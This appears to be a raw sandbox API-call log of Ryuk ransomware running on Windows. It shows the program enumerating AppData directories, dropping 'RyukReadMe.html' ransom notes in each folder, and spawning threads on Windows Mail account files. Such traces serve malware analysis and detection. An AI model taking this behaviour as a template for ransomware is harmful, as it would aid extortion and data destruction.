	[0252.183] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0252.184] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.184] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x212, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1
	[0252.184] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x212, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 0
	[0252.185] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0252.185] SetLastError (dwErrCode=0x0) 
	[0252.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\themes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.185] GetLastError () returned 0x3
	[0252.185] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c4d89a0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c4d89a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c3ce000, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x200, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1
	[0252.185] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0252.185] SetLastError (dwErrCode=0x0) 
	[0252.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.185] GetLastError () returned 0x3
	[0252.185] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.186] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0252.186] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.186] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1
	[0252.187] SetLastError (dwErrCode=0x0) 
	[0252.187] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.187] GetLastError () returned 0x3
	[0252.187] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.187] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.187] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.187] SetLastError (dwErrCode=0x0) 
	[0252.187] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\erc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.187] GetLastError () returned 0x3
	[0252.187] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.187] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0252.187] SetLastError (dwErrCode=0x0) 
	[0252.187] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.187] GetLastError () returned 0x3
	[0252.187] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.188] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0252.188] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0252.188] SetLastError (dwErrCode=0x0) 
	[0252.188] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\reportarchive\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.188] GetLastError () returned 0x3
	[0252.188] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0252.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.188] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x212, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 0
	[0252.188] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0252.188] SetLastError (dwErrCode=0x0) 
	[0252.188] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.188] GetLastError () returned 0x3
	[0252.188] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0252.189] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.189] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1
	[0252.189] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0
	[0252.189] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0252.189] SetLastError (dwErrCode=0x0) 
	[0252.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.189] GetLastError () returned 0x3
	[0252.189] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0252.189] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.189] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0252.189] SetLastError (dwErrCode=0x0) 
	[0252.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8
	[0252.190] GetLastError () returned 0xb7
	[0252.190] CloseHandle (hObject=0x5b8) returned 1
	[0252.190] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0252.629] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0252.629] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x200, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0252.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0252.631] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.631] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x200, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0252.632] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0252.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
	[0252.634] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.634] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x200, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0252.634] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
